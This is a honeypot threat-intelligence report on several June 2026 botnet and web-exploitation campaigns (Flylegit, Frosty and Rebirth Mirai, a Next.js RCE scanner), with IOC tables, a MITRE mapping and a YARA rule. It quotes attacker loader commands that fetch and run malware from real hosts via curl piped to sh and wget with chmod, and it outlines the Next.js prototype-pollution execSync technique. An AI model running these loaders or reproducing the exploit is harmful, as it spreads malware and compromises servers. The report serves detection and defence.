Between 2026-06-04 and 2026-06-23, cowrAI sensors observed three distinct
campaigns operating concurrently. The most significant is the "Flylegit" IoT worm
(Telegram: t.me/flylegit), a fully multi-architecture botnet deploying 14-arch binaries from
83.168.110.191 under the guise of a system updater. The malware contains explicit honeypot detection
logic that reads /proc/<pid>/comm and exits silently in emulated environments — confirmed
by divergent detonation behavior across our sandbox (ARMv7 connected to C2 at port 1336; ARMv5/6 exited
cleanly with no contacts). Zero VT detections across all 14 samples as of 2026-06-23.
In parallel, a Next.js Server Actions RCE scanner (103.13.206.12) has been active since
2026-06-09, firing 933 exploit attempts using React Server Components prototype-pollution to gain
unauthenticated code execution on vulnerable Node.js web servers. The recovered dropper
(repositorylinux.dpdns.org/linux.sh, 24,942 bytes) has no VT coverage.
A third campaign, "Frosty" Mirai (family-confirmed), explicitly targets Realtek-based
embedded devices from 109.104.153.60. Sandbox detonation confirmed live C2 at
103.106.228.23:80 across 14 consecutive runs spanning 7 days.
Type: Multi-architecture Linux worm / HTTP scanner
Intent: Botnet recruitment, HTTP brute-force scanning
C2: 83.168.110.191:1336 (distribution server doubles as C2)
Attribution: Telegram channel t.me/flylegit (hardcoded string)
VT coverage: 0 detections across all 14 samples
Alias on disk: updaterros.<arch>
The binary reads /proc/<self>/comm and checks for known emulator/sandbox process names.
If detected, it exits silently with code 0 — no C2 contact, no network noise.
Hardcoded taunts in string table:
"Looks like you are a honeypot, this tool was made by t.me/flylegit!"
Sandbox evidence: ARMv7l connected to 83.168.110.191:1336, killed at 300s timeout.
ARMv5l and ARMv6l exited cleanly — QEMU process name leaked to /proc.
14 distinct binaries deployed in a single distribution directory, covering embedded Linux, SoC, mobile, and server targets:
Files named iran.<arch> on the server; renamed to updaterros.<arch>
by the loader after download. The naming convention (iran.*) is consistent with prior "flylegit" tooling
observed in open-source reporting.
# Attacker arrives via SSH, runs after login:
curl -s http://83.168.110.191/updaterros.armv7l | sh && echo DONE
# The shell script downloads, stages, and executes:
busybox wget http://83.168.110.191/updaterros.armv7l \
-O /data/local/tmp/com.adal
chmod 777 /data/local/tmp/com.adal
/data/local/tmp/com.adal
# Connects back to 83.168.110.191:1336
HTTP scanning functionality confirmed — the binary emulates a modern browser session targeting common web admin paths:
# HTTP attack surface
/proc/%s/comm ← honeypot process check
%s %s HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
/wp-admin
/api/v1
/index.html
/about
/products
| SHA-256 | Arch | Size | VT | Detonation |
|---|---|---|---|---|
| 3d20d10c…1bbdd86 | ARMv7l | 124,640 | 0/72 | C2 hit 83.168.110.191:1336 |
| 41dafa96…e235ed6 | ARMv5l | 131,928 | 0/72 | Exited clean (sandbox detected) |
| 5a4d7866…3d3e14 | ARMv6l | 146,516 | 0/72 | Exited clean (sandbox detected) |
| 9ccaf7ad…9d495 | AArch64 | 190,448 | 0/72 | — |
| bdde6169…69cf5 | x86-64 | 55,908 | 0/72 | — |
| fc6d6fbc…014f | SPARC | 22,140 | 0/72 | — |
| c71e597c…746a | SH4 | 119,480 | 0/72 | — |
| 79925092…cf5 | PowerPC | 137,916 | 0/72 | — |
| 34ec597c…d86 | MIPSEL | 185,652 | 0/72 | — |
| bc38bc40…429 | MIPS | 181,556 | 0/72 | — |
| fa190db0…443 | m68k | 162,456 | 0/72 | — |
| bc1f71da…f25 | i486 | 79,020 | 0/72 | — |
| a09d4c56…0fa | ARMv4l | 135,544 | 0/72 | — |
| 6bb57ac2…a2 | ARC | 140,756 | 0/72 | — |
/proc/self/comm at startup, then connects to single IP:port) is the reliable signal.
Type: Web application exploitation scanner
Target: Next.js applications with Server Actions enabled
Dropper: repositorylinux.dpdns.org/linux.sh (24,942 bytes)
Attack volume: 933 attempts (14 days, single IP)
VT coverage: 0 detections on linux.sh
Exfil method: Output leaked via NEXT_REDIRECT digest URL parameter
The attack targets the React Flight protocol's JSON deserializer. By submitting a crafted
multipart/form-data payload to any Next.js Server Action endpoint,
the attacker triggers __proto__:then prototype chain pollution.
The _response._prefix field is injected with arbitrary JavaScript that executes
in the Node.js context via process.mainModule.require('child_process').execSync().
Output is exfiltrated via the redirect URL — a clever technique that avoids any logged HTTP
response body.
-k / --no-check-certificate — the dropper server uses HTTPS with an untrusted certificate.NEXT_REDIRECT error digest exfiltration means no explicit HTTP response is needed — the attacker reads the 307 redirect location header from the server response.| SHA-256 | Type | Size | URL | VT |
|---|---|---|---|---|
| cfab101e…9cd5f5 | Shell script | 24,942 | repositorylinux.dpdns.org/linux.sh | 0/0 (not submitted) |
Type: Mirai botnet variant
Target: Realtek-chipset embedded devices
C2: 103.106.228.23:80 (confirmed active, 14 sandbox connections)
Self-rep vector: SSH brute-force + Realtek exploit (realtek.selfrep arg)
Binary alias on disk: zuki
Family: Mirai (confirmed, heuristic match)
Frosty.mips (33efcefc…) booted successfully in every detonation. The binary
consistently contacts 103.106.228.23:80 and then enters a silent wait loop
(c2_silent_bail) — the C2 is up but not issuing commands during our observation
windows. This is typical Mirai behavior: bots idle until the operator pushes a DDoS job.
C2: 103.106.228.23:80
Status: ALIVE (14/14 connections confirmed)
Bot behavior: connect → idle → await command
# Observed loader command from 203.193.150.244 relay:
cd /var
rm -rf zuki
wget http://109.104.153.60/bins/frosty.mips -O zuki
chmod 777 zuki
./zuki realtek.selfrep ← self-replication mode targeting Realtek devices
| SHA-256 | Arch | Size | C2 | VT Family |
|---|---|---|---|---|
| 33efcefc…2fa3 | MIPS | 120,488 | 103.106.228.23:80 | Mirai |
A fourth campaign was observed at lower volume from 176.65.139.48, deploying
rebirth.arm7 (SHA-256: 849840d9…b9b5, 199,179 bytes, family: Mirai).
Binary contains explicit Huawei home gateway exploit payload (CVE targeting
POST /ctrlt/DeviceUpgrade_1 with digest auth) and Steam Source Engine Query bytes
(DDoS amplification primitive). Also targets Android ADB (com.supercell.clashroyal
masquerade). Sandbox confirmed C2 at 178.16.52.104:18234,
:19823, :62849.
| SHA-256 | C2 | DDoS Vectors |
|---|---|---|
| 849840d9…39b5 | 178.16.52.104:18234 / :19823 / :62849 | Huawei exploit, Steam query, ADB |
Relay / Recon node
203.193.150.244 ──── fires 29-cmd sysrecon sequence ────────────────── victim SSH
│
├── wget http://109.104.153.60/bins/frosty.mips → zuki [Mirai]
│ └── C2 → 103.106.228.23:80
│
├── curl http://83.168.110.191/updaterros.<arch> | sh [Flylegit]
│ └── C2 → 83.168.110.191:1336 (same server)
│
├── wget http://156.226.174.98/bins/sora.<arch> → robben [Sora, unconfirmed]
│ └── C2 → unknown (exec exits cleanly, 0 contacts)
│
└── wget http://176.65.139.48/rebirth.arm7 [Rebirth Mirai]
└── C2 → 178.16.52.104 :18234/:19823/:62849
Web RCE scanner (separate campaign)
103.13.206.12 ──── RSC prototype pollution form-post ─────────────── Next.js server
└── dropper: repositorylinux.dpdns.org/linux.sh
| ID | Technique | Campaign | Evidence |
|---|---|---|---|
| T1110.001 | Brute Force: Password Guessing | All | cowrie.login.success 709k / 7d |
| T1059.004 | Unix Shell | All | Command sequences observed in cowrie.command.input |
| T1082 | System Information Discovery | Flylegit, Sora relay | uname, /proc/cpuinfo, ip route, ss -tuln, which yum/apt/pacman/zypper |
| T1083 | File and Directory Discovery | Relay recon | ls -la /, mount, env, history, ps aux sequences |
| T1105 | Ingress Tool Transfer | All | wget/curl dropper fetches to /tmp, /var, /data/local/tmp |
| T1496 | Resource Hijacking | Frosty, Rebirth, Flylegit | Mirai bot recruitment for DDoS botnet |
| T1040 | Network Sniffing (precursor) | Rebirth | Steam query DDoS amplification, Huawei exploit strings |
| T1190 | Exploit Public-Facing Application | Next.js RCE | RSC __proto__:then pollution via Server Actions |
| T1059.007 | JavaScript | Next.js RCE | process.mainModule.require execSync injection |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | Flylegit | /proc/self/comm read at startup; silent exit on emulator detection |
| T1036.004 | Masquerading: Masquerade Task or Service | Flylegit, Rebirth | Binary named updaterros; Rebirth disguised as com.supercell.clashroyal |
| T1071.001 | Application Layer Protocol: Web Protocols | Flylegit C2, Frosty C2, Rebirth C2 | C2 beacons over HTTP :80 and custom TCP ports |
| IP | Role | First Seen | Confidence |
|---|---|---|---|
| 83.168.110.191 | Flylegit distribution + C2 (:1336) | 2026-06-04 | High |
| 109.104.153.60 | Frosty distribution (/bins/frosty.*) | 2026-06-17 | High |
| 103.106.228.23 | Frosty C2 (:80) | 2026-06-17 | High (14 sandbox hits) |
| 156.226.174.98 | Sora distribution (/bins/sora.*) | 2026-06-22 | High |
| 176.65.139.48 | Rebirth distribution (/rebirth.arm7) | 2026-06-15 | High |
| 178.16.52.104 | Rebirth C2 (:18234,:19823,:62849) | 2026-06-15 | High (sandbox confirmed) |
| 203.193.150.244 | Recon relay / multi-campaign loader | 2026-06-09 | High |
| 103.13.206.12 | Next.js RCE scanner | 2026-06-09 | High (933 attempts) |
| Domain | Role | Protocol |
|---|---|---|
| repositorylinux.dpdns.org | Next.js RCE dropper server (linux.sh) | HTTPS (self-signed) |
| SHA-256 | Family | Arch | On-disk name |
|---|---|---|---|
| 3d20d10c…1bbdd86 | Flylegit | ARMv7l | updaterros.armv7l / iran.armv7l |
| 41dafa96…e235ed6 | Flylegit | ARMv5l | updaterros.armv5l |
| 5a4d7866…3d3e14 | Flylegit | ARMv6l | updaterros.armv6l |
| 9ccaf7ad…9d495 | Flylegit | AArch64 | iran.aarch64 |
| bdde6169…69cf5 | Flylegit | x86-64 | iran.x86_64 |
| fc6d6fbc…014f | Flylegit | SPARC | iran.sparc |
| c71e597c…746a | Flylegit | SH4 | iran.sh4 |
| 79925092…cf5 | Flylegit | PowerPC | iran.powerpc |
| 34ec597c…d86 | Flylegit | MIPSEL | iran.mipsel |
| bc38bc40…429 | Flylegit | MIPS | iran.mips |
| fa190db0…443 | Flylegit | m68k | iran.m68k |
| bc1f71da…f25 | Flylegit | i486 | iran.i486 |
| a09d4c56…0fa | Flylegit | ARMv4l | iran.armv4l |
| 6bb57ac2…a2 | Flylegit | ARC | iran.arc |
| 33efcefc…2fa3 | Frosty/Mirai | MIPS | zuki |
| 849840d9…39b5 | Rebirth/Mirai | ARMv7 | com.supercell.clashroyal |
| cfab101e…9cd5f5 | linux.sh dropper | Shell script | linux.sh |
| 06f8f80d…c7eada | Sora (unconfirmed) | x86 | robben |
| bed2dc64…b57a | Sora (unconfirmed) | MIPS | robben |
| ae353956…af0e8 | Sora (unconfirmed) | x86-64 | robben |
| 2f25ceeb…1efd | Sora (unconfirmed) | i686 | robben |
| 2abc33cb…049d2 | Sora (unconfirmed) | ARMv7 | robben |
rule Flylegit_IoT_Worm_Honeypot_Check {
meta:
author = "cowrAI"
date = "2026-06-23"
description = "Flylegit multi-arch worm with honeypot detection"
reference = "https://cowrai-intel-reports.pages.dev/june-2026-iot-surge"
strings:
$hp_str = "Looks like you are a honeypot, this tool was made by t.me/flylegit!" ascii
$tg = "t.me/flylegit" ascii
$proc = "/proc/%s/comm" ascii
condition:
uint32(0) == 0x464C457F and // ELF magic
any of them
}
All data collected from the cowrAI distributed honeypot fleet: 36 Linux VPS nodes across Cloudzy (Bern/Frankfurt), Vultr, DigitalOcean, Netcup, TeamBlue, and Hetzner. Each node runs cowrie 2.9.17 with the LLM backend (Gemma3:12b) for authentic shell interaction, plus a randomized subset of 9 alt-protocol lure daemons (adbhoney, soaplure, httplure, redislure, llmlure, apachelure, sqllure, vnclure, mlinfralure).
Events ingest in near-real-time to Cloudflare D1 (operational) and PostgreSQL (via Hyperdrive) with
Analytics Engine for fleet aggregates. Binaries are captured by the ingest sidecar and stored in R2;
classification runs automatically (strings extraction → family heuristics → VirusTotal → tria.ge →
Workers AI summary → YARA). Sandbox detonation runs on sandbox-sfo (Ubuntu, QEMU user-mode
emulation, WARP egress, 50 Mbit/s qdisc + outbound denylist) with 300-second default runtime and
12-hour dwell option.
/proc/self/comm anti-sandbox check
detects QEMU user-mode emulation via the process name. ARMv5/6 samples exited without C2 contact;
ARMv7 (direct exec path) connected to C2. This is a known gap — QEMU process name masking is not
currently implemented.